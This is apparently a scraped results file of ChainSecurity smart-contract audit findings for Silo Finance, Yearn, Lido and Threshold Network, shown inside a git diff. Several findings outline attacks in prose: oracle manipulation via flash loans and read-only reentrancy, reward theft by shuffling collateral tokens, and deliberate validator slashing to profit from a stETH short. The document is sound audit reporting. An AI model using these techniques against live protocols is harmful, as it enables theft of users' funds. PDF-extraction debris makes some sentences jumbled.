claimable() view function doesn't checkpoint the gauge nor it updates the period, so the value it returns could be invalid. This should be made clear in the natspec. StakeDao - Bribe Platform - 16 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "5.1 Some CryptoSwap Pools Do Not Implement", "body": " the lp_price() Function Not every CryptoSwap pool of the Curve protocol implements the lp_price() function that is used in the CurveNPAPTokensPriceProvider. The only exception that was added is the tricrypto2. Acknowledged: Silo Finance replied: We will implement them if we need it. For now we need only tricrypto2. Silo Finance - Curve & Convex Feature - 11 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedCorrectnessLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings Curve LP Oracle Is Vulnerable to Read-Only Reentrancy Attacks CurvePriveProvider Uses the Spot Price -Severity Findings Collateral Token Transfers Are Not Taken Into Account -Severity Findings Missing Shutdown Logic -Severity Findings A Metapool Could Have More Than One Nested LP Token Metapool Setup Recursion Lacks Sanity Check Metapools With Two LP Underlying Missing Events for State Modifying Actions The Reward Integral Computation Can Overflow IWrapperDepositor Not Implemented 2 1 1 6 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.1 Curve LP Oracle Is Vulnerable to Read-Only", "body": " Reentrancy Attacks The Curve LP oracle smart contracts can be manipulated by using the read-only reentrancy vulnerability. This is because no checks are done regarding the reentrant state of the curve pool. For further details please see our blog post: https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/. A protection mechanism has been implemented. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.2 CurvePriveProvider Uses the Spot Price", "body": " The CurvePriceProvider smart contract uses the spot price of the curve pool to get the price of assets. This is done by calling the get_dy() function on the curve pool. Silo Finance - Curve & Convex Feature - 12 CriticalCodeCorrectedCodeCorrectedHighCodeCorrectedMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignCriticalVersion1CodeCorrectedSecurityCriticalVersion1CodeCorrected \fHence, an attacker could easily manipulate the price with a flash loan or a lot of liquidity. If this oracle is used as a source of truth for a borrowing or liquidation mechanism, funds could be stolen from the protocol. Further note, that also the IPriceProvider's NatSpec is not accurate in that case as it specifies that the TWAP is calculated. Code removed: All related code has been removed. Curve is not used as a price provider anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.3 Collateral Token Transfers Are Not Taken Into", "body": " Account The balance used for payouts is the sum of the ERC-20 balance and the user's Silo collateral-only shares (converted to the ERC-20). Hence, each change in one of these balances must ensure the correctness of payouts. While the ConvexStakingWrapperSilo contract performs reward checkpointing for each ERC-20 balance change, the integration with the Silo fails to integrate such checkpoint fully, thus allowing both theft and loss of rewards. A lack of checkpointing is present When a user transfers the collateral tokens: Transferring collateral tokens does not trigger any checkpointing. When a user uses the depositFor() function in the silo: The checkpointing will be done for the transfer, however, minting collateral tokens will not checkpoint for the recipient. When a user is being liquidated: The liquidated user will not be involved in checkpointing and loses his rewards. The liquidator does not receive the rewards as a liquidation bonus. When a user uses the router to withdraw the collateral: The router will be checkpointed. The user will temporarily get a smaller balance accounted which will lead to unfair checkpointing for the user. Most notably, the collateral token transfers would allow for a simple attack by transferring collateral tokens from address to address to claim rewards with each. Further, note that the function syncSilo() could change the silo which is used for additional accounting. However, that could break the contract and unfairly distribute rewards. To summarize, collateral token transfers do not checkpoint and transfers of tokens between the silo and a user, who was not the prior owner of these tokens, update the rewards only for the receiver. Silo Finance has added a Silo type called SiloConvex which updates reward for concerned users before any actions. Router, current silo and deprecated silos cannot be checkpointed for rewards anymore. Further, ShareCollateralTokenConvex has been introduced that checkpoints before any direct transfer between users. Note that when the collateralVault variable is updated through syncSilo(), some rewards could still be lost, but this is now part of the specification. Silo Finance - Curve & Convex Feature - 13 CorrectnessHighVersion1CodeCorrected \f6.4 Missing Shutdown Logic Each ConvexStakingWrapper smart contract can be shut down by the owner so that accounting of the rewards stops and users are only able to withdraw their shares of the pool. Rewards will not be accounted for anymore when moving wrapped tokens around because the _checkpoint() function does not apply any logic when the isShutdown flag is set to true. However, the _checkpointAndClaim() function does not have any such check for the flag, meaning that users are still able to claim their rewards after the shutdown. Users could also still transfer the wrapped tokens without the wrapper checkpointing it so an attacker could manipulate its balance to steal some rewards. Both functions now implement the shutdown logic. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.5 A Metapool Could Have More Than One", "body": " Nested LP Token The CurvePAPTokensPriceProvider retrieves all the underlying tokens for the LP token. For meta pools, the underlying LP token's coins are retrieved. However, when the nested depth is equal to or greater than 2, it directly tries to fetch the price of the last lp token instead of continuing to fetch the underlying tokens. Code now correctly fetches all nested tokens recursively. Note that if the total amount of underlying tokens exceeds eight, the code will revert which is expected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.6 Metapool Setup Recursion Lacks Sanity", "body": " Check Metapools are StableSwap pools where at least one underlying is a Curve LP token. To set up such a metapool LP token, setupAsset() in CurvePAPTokensPriceProvider recursively sets up all underlying LP tokens. However, the recursive iterations of _setUp() lack the _MIN_COINS sanity check and the LPTokenEnabled event emission. Code Corrected: The check and the event emission are now in the _setUp() function which is used for recursively iterating over the potentially nested LP tokens. Silo Finance - Curve & Convex Feature - 14 DesignMediumVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.7 Metapools With Two LP Underlying Note that Metapools can have only one LP underlying. However, the current design would allow for bad pools with two LP tokens as underlyings - one as a regular coin and one as the base asset. The code now reverts if there are two lp underlyings. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.8 Missing Events for State Modifying Actions", "body": " In ConvexStakingWrapper, some important state-modifying actions do not trigger events: Shutting down a staking wrapper Adding a reward token Setting the hook Checkpointing users Emitting events could ease following the state of the contract. Events have been added for all of the above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.9 The Reward Integral Computation Can", "body": " Overflow ConvexStakingWrapper uses solidity 0.6.12 which can overflow on arithmetic operations. The staking wrapper uses a variable called reward_integral to track each token reward by increasing it proportionally to the received rewards. Note that this variable should only be able to increase. At line 275, it computes it in such a way: reward.reward_integral = reward.reward_integral + uint128(bal.sub(reward.reward_remaining).mul(1e20).div(_supply)); The addition here can overflow to a decrease of reward_integral. A decrease in the variable would mean that some users would have their rewards locked forever in the smart contract. in some conditions, which would lead Also note that the truncation to a uint128 in the second part of the code line can also lead to a truncation overflow, which would miscompute the received rewards. While the supply is low, the overflow can be triggered very easily. Using this capability, an attacker could grieve users from receiving rewards by pushing the users' reward integrals to the maximum so that the global reward integral cannot exceed the users' reward integral. Silo Finance - Curve & Convex Feature - 15 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f The reward variables are now stored as uint256. Silo Finance noted: Contract is updated to store the rewards integral in 256 bits variables. This fix makes the integral overflow improbable for regular reward tokens, even if the total supply of the wrapped token is 1 wei. Here reward_integral could still overflow but as stated by Silo Finance, it is much less probable given that reward tokens should not be of very low value or with unusually high decimals. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.10 IWrapperDepositor Not Implemented", "body": " Most of the contracts interact with each other based on the interface definitions. However, the ConvexStakingWrapperSilo contract itself does not implement the IWrapperDepositor. Without this, there are no compile-time guarantees that the contract will be compatible with the calls to the functions that the interface defines. This can lead to potential runtime errors and exceptions that are hard to debug. Explicitly defining that a contract implements an interface could minimize such errors. ConvexSiloWrapper now implements IConvexSiloWrapper. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.11 A Collateral-Only Silo Can Have Its ", "body": " siloAsset Borrowed During the audit, we uncovered that a silo with a collateral-only asset could still have this asset borrowed. More specifically, this can happen when tokens are sent directly to the silo. The collateral-only funds are not affected but the specification is violated. /// @notice Modification of the Silo where a siloAsset can be deposited /// only as collateral only asset and can't be borrowed. if (_isSiloAsset(_asset)) revert(); has been added to borrow() and borrowFor() in the specialized Silos for Curve and Convex. However, note that the exact mechanics are out of scope, and if there is alternative way to borrow, the issue could still persist. Silo Finance - Curve & Convex Feature - 16 DesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrected \f6.12 Missing NatSpec Most functions are provided with documentation. However, CurvePriceProviderETH does not have any NatSpec for ICurvePriceProvider's getAssetPool() and isAssetPoolUint256() functions. Also, _getDy() in the CurvePriceProvider is not fully documented. for NULL_ADDRESS, WETH and _getCoin(). Further, NatSpec lacks The files have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.13 Usage of registryId", "body": " Pool.registryId is never used. Silo Finance removed the registryId as it was unused. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.14 Variables Visibility", "body": " In CurveLPTokenDetailsBaseCache, coins is public and has hence an automatic getter. However, getCoins() has the same behavior as the automatic getter and thus there is a double getter for the elements. In CurvePriceProvider, NOT_FOUND_INDEX is public. However, it is only used for protocol internal logic. getCoins() was removed. Hence, coins() remains the only public getter. CurvePriceProvider has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "6.15 isMeta for Crypto Pools", "body": " The isMeta flag is present for Curve crypto pools. However, note that these pools are not meta pools. The CurveCryptoSwapRegistryFetcher can set it to true. However, it has no effect. Client added a sanity check to ensure the validity of the pools data returned by fetchers. Silo Finance - Curve & Convex Feature - 17 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrectedInformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "7.1 Balancer Oracles Are Deprecated", "body": " During the audit we discovered that the protocol uses the Balancer V2 oracles. However, note that their oracles here: https://docs.balancer.fi/products/oracles Balancer discourages (snapshot). the usage of Acknowledged: Silo Finance replied: The Silo team is aware of this ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "7.2 Code With No Effects", "body": " The ConvexStakingWrapper smart contract contains code without any real effects. On line 215: if(registeredRewards[_token] == 0){ ... }else{ uint256 index = registeredRewards[_token]; if(index > 0){...} } The second if will always be executed as index will always be greater than 0. On lines 167, 169, 210: Token transfers to self has no effect. Acknowledged: Silo Finance replied: We decided to make minimal changes in external contracts that we inherit. Refactoring is out of scope of this feature. Silo Finance - Curve & Convex Feature - 18 InformationalVersion1AcknowledgedInformationalVersion1Acknowledged \f7.3 Commented Code The following comment contains a line of commented-out code. // collateralVault = _vault; Removing the line could improve readability. Acknowledged: Silo Finance replied: We decided to make minimal changes in external contracts that we inherit. Refactoring is out of scope of this feature. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "7.4 Gas Inefficiencies", "body": " The staking wrapper for convex contains several gas inefficiencies. The following is an incomplete list of examples: More state variables could be constants and immutables. \"Double-initialization\" performs some storage writes twice (e.g. setting the owner) When adding rewards, the rewards length is always read from storage. registeredRewards is read twice in the else branch of addTokenReward(). _calcRewardIntegral reads variables multiple times from storage (e.g. reward_remaining) Acknowledged: Silo Finance replied: We decided to make minimal changes in external contracts that we inherit. Gas optimization in external contracts is out of scope of this feature. Silo Finance - Curve & Convex Feature - 19 InformationalVersion1AcknowledgedInformationalVersion1Acknowledged \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "8.1 Collateral-only Assets", "body": " Neither the Curve LP tokens nor the wrapped Convex tokens are suitable for borrowing due to their prices being easily but legitimately pushed upwards. Hence, the tokens are only suitable as collateral assets. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "8.2 Convex DOS Potential", "body": " In the convex staking wrapper contract, checkpointing could iterate over many tokens. If Convex adds too many reward tokens, the checkpointing could be DOSed. While Convex is trusted in that sense, users should be aware of such a possibility. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "8.3 Duplicate Tokens Undervalue Estimation of", "body": " Rewards In the ConvexStakingWrapper smart contract, extra reward tokens are queried from the convex reward pool and can also be added manually by the owner. If there is a case of a pool that receives rewards of the same token from two different reward pools, then only one of these will be queried with the earned() to estimate the rewards for this token in the earnedView() function of the staking wrapper, leading to low reward estimations. Further note that any reward token that has no reward_pool associated will have its rewards undervalued in the view functions. However, note that Convex is not expected to behave in such a way. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "8.4 Function Interface Is Not Validated", "body": " In CurvePriceProvider, the manager must provide a GET_DY_INTERFACE enum due to the interfaces of the get_dy() function being different across curve pools. However, this enum is not sanity checked while most other set-up arguments are and a pool with the wrong interface could be saved to storage. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "8.5 Oracle Manipulation", "body": " Silo Finance - Curve & Convex Feature - 20 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fNote that any on-chain oracle is manipulatable to some degree. Hence, the prices of assets could be manipulable to some extent. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "8.6 Read-only Reentrancy Protection", "body": " Users and Silo Finance should be careful when the gas costs of opcodes change in new hardforks as this could lead to breaking changes. Hence, this should be monitored. Further, the selection of parameters should be carried out with gas measurements on the pools since different Vyper versions and pools may need to different parameters. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "8.7 The Curve LP Oracles Fetch the Minimum", "body": " Price The Curve lp oracles will fetch a price that is a lower bound on the LP token price. When used as a collateral, users should know that this is the case and be extra careful to avoid unnecessary liquidations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}, {"title": "8.8 Unsupported Reward Tokens", "body": " Users should be aware that reward tokens that can change the amount differently from the amount transferred could unfairly distribute rewards and could break the contract. Especially, rebasing tokens could break the contract if a rebase downwards occurs. Further, reward tokens with transfer fees could create problems. Silo Finance - Curve & Convex Feature - 21 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/silo-finance-curve-convex-feature/"}] \ No newline at end of file diff --git a/results/chainsecurity_findings_2.json b/results/chainsecurity_findings_2.json new file mode 100644 index 0000000..1d383bb --- /dev/null +++ b/results/chainsecurity_findings_2.json @@ -0,0 +1 @@ +[{"title": "6.1 Event Parameters Not Indexed", "body": " The event ReferredBalanceIncreased emits the address of partnerId, vault and depositer. All three information might be relevant to later query specific deposits. Hence, it might be useful to index these parameters. The updated event now indexes the parameters: partnerId, vault and depositer. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-partner-tracker/"}, {"title": "6.2 Missing Code Comments and Function", "body": " Descriptions Even though the code base is simple and well structured, code comments as well as function description with parameter descriptions are part of good coding practice to help understanding the code. The current implementation lacks documentation and code comments. The updated code contains specifications that describe the functions and their parameters. Yearn Finance - Partner Tracker - 9 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.3 Missing Return Values Both external functions deposit declare a return value of type uint256, but the return statement is missing. The internal function _internalDeposit is modified to return receivedShares, which is then returned by both external functions deposit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-partner-tracker/"}, {"title": "6.4 Unused Constant registry", "body": " The constant registry is defined but not used in the current code base. The unused constant has been removed from the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-partner-tracker/"}, {"title": "6.5 Unused Imports", "body": " The Math and Address libraries and the registry interface are imported but not used. import \"@openzeppelin/contracts/math/Math.sol\"; import \"@openzeppelin/contracts/utils/Address.sol\"; import \"../interfaces/IYearnRegistry.sol\"; The unused imports have been removed from the updated code. Yearn Finance - Partner Tracker - 10 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-partner-tracker/"}, {"title": "7.1 Contract Tracks Also Malicious Vaults and", "body": " Tokens The input arguments for the vault to be deposited in and the token are provided by the user. Both can be malicious contracts. We could not see a way to exploit the contract, but the mapping will record everything including the invalid/malicious vaults. Hence, when reading the mapping the correct vaults needs to be carefully selected and invalid records neglected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-partner-tracker/"}, {"title": "7.2 Outdated Compiler Version", "body": " The compiler version is outdated (https://swcregistry.io/docs/SWC-102) and implicitly fixed in the brownie config file to version: 0.6.12. The contract has a floating pragma for the compiler version, although practically there is no newer version without breaking changes (https://swcregistry.io/docs/SWC-103). This version has the following known bugs: https://docs.soliditylang.org/en/v0.6.12/bugs.html This is just a note as we do not see any severe issue using this compiler with the current code. Yearn Finance - Partner Tracker - 11 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-partner-tracker/"}, {"title": "5.1 Gas Inefficiencies", "body": " 0 0 0 9 We have found some gas inefficiencies that could be optimized: Lido saves several contract addresses (e.g., the ETH deposit contract) in the storage. Since Lido is upgradeable, the mentioned variables could be exchanged with constants or immutables that can be updated with a Proxy upgrade to save storage reads on various interactions. Lido.handleOracleReport updates the BEACON_VALIDATORS_POSITION even when the amount of validators has not changed. StakeLimitUtils.calculateCurrentStakeLimit performs stake limit calculations even just return the prevStakeBlockNumber the current block number. It could is when prevStakeLimit in that case. NodeOperatorsRegistry.removeSigningKeys and removeSigningKeysOperatorBH are inefficient if 0 < (totalSigningKeys - 1) - _index < (_amount - 1) as more swaps from the last to the current position are performed than necessary. NodeOperatorsRegistry._removeSigningKey assigns the new totalSigningKeys value to a value that is loaded from storage, while the same value has already been loaded from storage before (lastIndex). Lido - Lido - 11 DesignTrustCriticalHighMediumLowAcknowledgedRiskAcceptedAcknowledgedRiskAcceptedRiskAcceptedAcknowledgedAcknowledgedAcknowledgedRiskAcceptedDesignLowVersion1Acknowledged \f NodeOperatorsRegistry.assignNextSigningKeys calculates stake + 1 > entry.stakingLimit while stake >= entry.stakingLimit would be sufficient. NodeOperatorsRegistry.assignNextSigningKeys finds the operator with the smallest stake with the statement bestOperatorIdx == cache.length || stake < smallestStake. This can be simplified to stake < smallestStake by initially setting smallestStake to the maximum value of uint256. NodeOperatorsRegistry._storeSigningKey and _loadSigningKey load signatures by iterating over the words of the signature and loading them from the memory location at add(_signature, add(0x20, i)) on every iteration. This can be simplified to i by setting the 32 + loop to to i <= signature + SIGNATURE_LENGTH. signature execution condition variable and the LidoOracle pushes reports to the CompositePostRebaseBeaconReceiver which pushes reports to the SelfOwnedStETHBurner. Since the SelfOwnedStETHBurner is currently the only receiver, this indirect route is not necessary. SelfOwnedStETHBurner._requestBurnMyStETH uses Lido.transfer and calculates the share amount by calling Lido.getSharesByPooledEth. This second call could be avoided by using the transferShares function. Acknowledged: Lido states: Thank you for the suggestions, we will take them into consideration for the next protocol upgrade. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.2 Inconsistent Event Order", "body": " The order in which the Transfer and TransferShares events are emitted is inconsistent. In the transferShares function in StETH, the TransferShares event is emitted first. In all other cases, Transfer is emitted first. Note also that these events are always emitted after calling the _transferShares function. To avoid the duplication of emitted events and reduce code size, it would also be possible to emit the events within the _transferShares function itself. Risk accepted: This change is scheduled for the next update. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.3 LidoOracle Initialized With Wrong Epoch", "body": " In the initialize function of the LidoOracle, the expectedEpoch is set as follows: uint256 expectedEpoch = _getFrameFirstEpochId(0, beaconSpec) + beaconSpec.epochsPerFrame; Lido - Lido - 12 DesignLowVersion1RiskAcceptedDesignLowVersion1Acknowledged \fHowever, _getFrameFirstEpochId will always return 0 here. So the first expected epoch is set to beaconSpec.epochsPerFrame. However, it would make little sense for a member to report an epoch before the contract was deployed. Instead, the expectedEpoch could be set to an epoch which occurs after the contract is deployed, for example using _getCurrentEpochId. Acknowledged: The initialize function can't be called again on the Lido contract, which is already deployed. Therefore this is only an issue if a redeployment becomes necessary. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.4 Malicious Node Operators", "body": " Node operators are trusted entities in the Lido ecosystem. They are responsible for correctly running the validators as well as distributing MEV rewards to the contract. They can only be incentivized to behave decently so it is possible that certain economic opportunities could incentivize them to behave maliciously. For example, it can be hard to verify the amount of MEV rewards node operators generate with the nodes they are running. Malicious node operators could choose to not distribute these rewards but instead pocket them themselves. Furthermore, and most importantly, node operators have no ownership of the ETH that are locked in their validators. This means that whatever incentive they have to run the nodes benevolently could be offset by a more financially lucrative incentive. One example could be a short position in stETH that becomes profitable. As the staked ETH are not owned by the operators, this is very much possible due to slashing as can be seen in the following example (assuming the Merge has already happened and according to current spec): A malicious node operator executes 2 attestations to the same target on all of their controlled validator nodes. At the time of this writing, single validators run up to ~8,000 nodes of the ~400,000 nodes currently on the Beacon Chain). Each node gets slashed by 1 ETH, reducing the amount of ETH in the protocol by ~8,000 or ~0.1% of Lido's total supply. After 18 days, the validators get slashed again based on the amount of validators that have been slashed in the previous 16 days: Each validator loses ~1.8 ETH. In total, the supply of Lido drops by ~0.5%. If 2 node operators collude, the total supply drops by ~1.7%. If 3 operators collude, it drops by ~3.6%. Depending on the market reaction, the value of stETH could decrease dramatically following these events, making a decently sized short position in stETH (or more likely wstETH) profitable. Risk accepted: Lido states: The risk is mitigated by maintaining healthy validators set with monitoring and DAO governance processes. There is a set of policies and management actions: onboarding new NOs to decentralize further; limiting the stake amount per single NO; Lido - Lido - 13 TrustLowVersion1RiskAccepted \f developing dashboards and tools to monitor network pasticipation performance (now open-sourced https://github.com/lidofinance/ethereum-validators-monitoring) developing dashboards and tools to monitor MEV and priority fee distribution (approaching testing stage for the upcoming Merge) Despite the fact that Ethereum staking is not delegation-friendly, Lido DAO already has on-chain levers to address malicious NO behavior: excluding them from the new stake, disabling fee distribution, excluding them from the set, considering penalties on other chains if applicable, and so on. Once and if withdrawal-credentials initiated exits are implemented, there will appear additional on-chain enforcement mechanics which would allow building more permissionless schemes for the validators set. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.5 No Events on Important State Changes", "body": " The DepositSecurityModule does not emit events on the following important state changes: 1. When the owner calls setLastDepositBlock. 2. When depositBufferedEther is called. Risk accepted: Lido states: setLastDepositBlock will be used only if re-deploy is needed, so we may add the event for future versions. depositBufferedEther emits the Unbuffered event in the Lido contract which is still enough for indexers, though, will consider the change if an upgrade is needed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.6 Typing Errors", "body": " NodeOperatorsRegistry._loadOperatorCache returns an error message with a typing error: INCOSISTENT_ACTIVE_COUNT. Lido._setProtocolContracts emits the event ProtocolContactsSet. Acknowledged: This will be fixed in the next major protocol upgrade. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.7 Unused Imports", "body": " Lido imports SafeMath64.sol which is not used in the contract. Lido - Lido - 14 DesignLowVersion1RiskAcceptedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \fAcknowledged: This will be fixed in the next major protocol upgrade. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.8 memcpy Optimizations", "body": " The memcpy function in the MemUtils library is quite critical for gas costs. It is called by copyBytes, which in NodeOperatorsRegistry.assignNextSigningKeys. The function itself also contains a loop, for a total of three nested loops. nested called within loops from turn in is While it is already written in assembly, it can be optimized further. First, let's take a look at the loop. for { } gt(_len, 31) { } { mstore(_dst, mload(_src)) _src := add(_src, 32) _dst := add(_dst, 32) _len := sub(_len, 32) } As it stands, there are three variables which are modified per loop iteration. Ideally, one would only change one variable per iteration, and use a loop bound based on this variable. However, this change would add additional overhead outside the loop, which may not pay off in general. Currently, the loop is only executed 1-3 times per call, as the _len parameter is only ever 48 or 96. One may also consider creating functions specifically for copying byte arrays of length 48 and 96, as this would allow a complete unrolling of the loop. After the loop, the following code is executed: if gt(_len, 0) { let mask := sub(shl(1, mul(8, sub(32, _len))), 1) // 2 ** (8 * (32 - _len)) - 1 let srcMasked := and(mload(_src), not(mask)) let dstMasked := and(mload(_dst), mask) mstore(_dst, or(dstMasked, srcMasked)) } As _len is a uint256, it is more efficient to just check the condition if _len {. The mask could also be written as shr(0xff..ff, shl(3, _len)) or shr(not(0), shl(3, _len)). Acknowledged: Lido states: We decided to leave the assembly code as is to prevent possible peculiarities. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.9 sharesAmount Can Be Zero", "body": " Lido - Lido - 15 DesignLowVersion1AcknowledgedDesignLowVersion1RiskAccepted \fDue to rounding errors, the value returned by getSharesByPooledEth can be zero. In the function _submit in Lido, the check sharesAmount == 0 is made. This is assumed to hold either on the first deposit, or in the case of a complete slashing. However, this can also occur if rounding errors lead to getSharesByPooledEth returning 0. Thus, a user would receive a disproportionate amount of shares, as they would get a 1:1 rate of ETH to StETH, despite the share value being lower. Note that with the current state of the live contracts, this can only occur if msg.value == 1. Risk accepted: Lido is aware of rounding errors, however chooses not to fix them as they are difficult to correct without sacrificing gas efficiency or backwards compatibility. Lido - Lido - 16 \f6 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "6.1 Deposits Can Be Blocked by Node Operators", "body": " DepositSecurityModule requires the keysOpIndex to not change between creation of a depositBufferedEther transaction and its execution: uint256 onchainKeysOpIndex = INodeOperatorsRegistry(nodeOperatorsRegistry).getKeysOpIndex(); require(keysOpIndex == onchainKeysOpIndex, \"keys op index changed\"); Since the keysOpIndex can be changed by node operators using addSigningKeysOperatorBH or removeSigningKeysOperatorBH, malicious node operators can delay depositing even when they are not activated. The only way to counter this problem is to change the rewardAddress of such node operators. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "6.2 No Quorum Sanity Checks", "body": " LidoOracle and DepositSecurityModule allow the addition of members / guardians and the setting of a quorum that has to be reached by these entities. The quorum can however be set to any value (except for 0 in the case of LidoOracle) independently of the number of members / guardians. Lido - Lido - 17 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido/"}, {"title": "5.1 Ineffective Try Catch Statement", "body": " Try catch statements should handle critical code parts that might fail and their respective exertions correctly. The used try catch statement in authorizationDecrease simple fails silently if not successful. Resulting in potential incorrect authorization decrease. Risk accepted : Network Threshold event AuthorizationInvoluntaryDecreased has been added to track involuntary decreases, it contains a field to indicate whether the call to the application succeeded or not. decrease accepts silently. fails The that a ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "5.2 Missing Sanity Checks", "body": " For security reasons stakers use different roles to manage the stake. If different roles exist, it seems consistent to enforce the use of different keys. stake and stakeNu do not check if the addresses (operator, beneficiary, owner, authorizer) are the same. In a more limited way this is also the case for stakeKeep. Acknowledged : Threshold Network does not consider that roles having different addresses must be enforced. In their modelling, they always assumed that some stakers will reuse addresses for different roles. Threshold Network - Threshold Network - 9 DesignCriticalHighMediumRiskAcceptedLowAcknowledgedRiskAcceptedDesignMediumVersion1RiskAcceptedDesignLowVersion1Acknowledged \f5.3 Possibly Uninitialized Penalties function initializes The constructor the staking contract. However, important variables takeDiscrepancyPenalty and stakeDiscrepancyRewardMultiplier are not initialized and need to be set separately in setStakeDiscrepancyPenalty. The onlyGovernance modifier ensures that only the community controlled governance contract can call this function. Calls from community driven governance contracts usually have a long reaction time due to voting and other collective 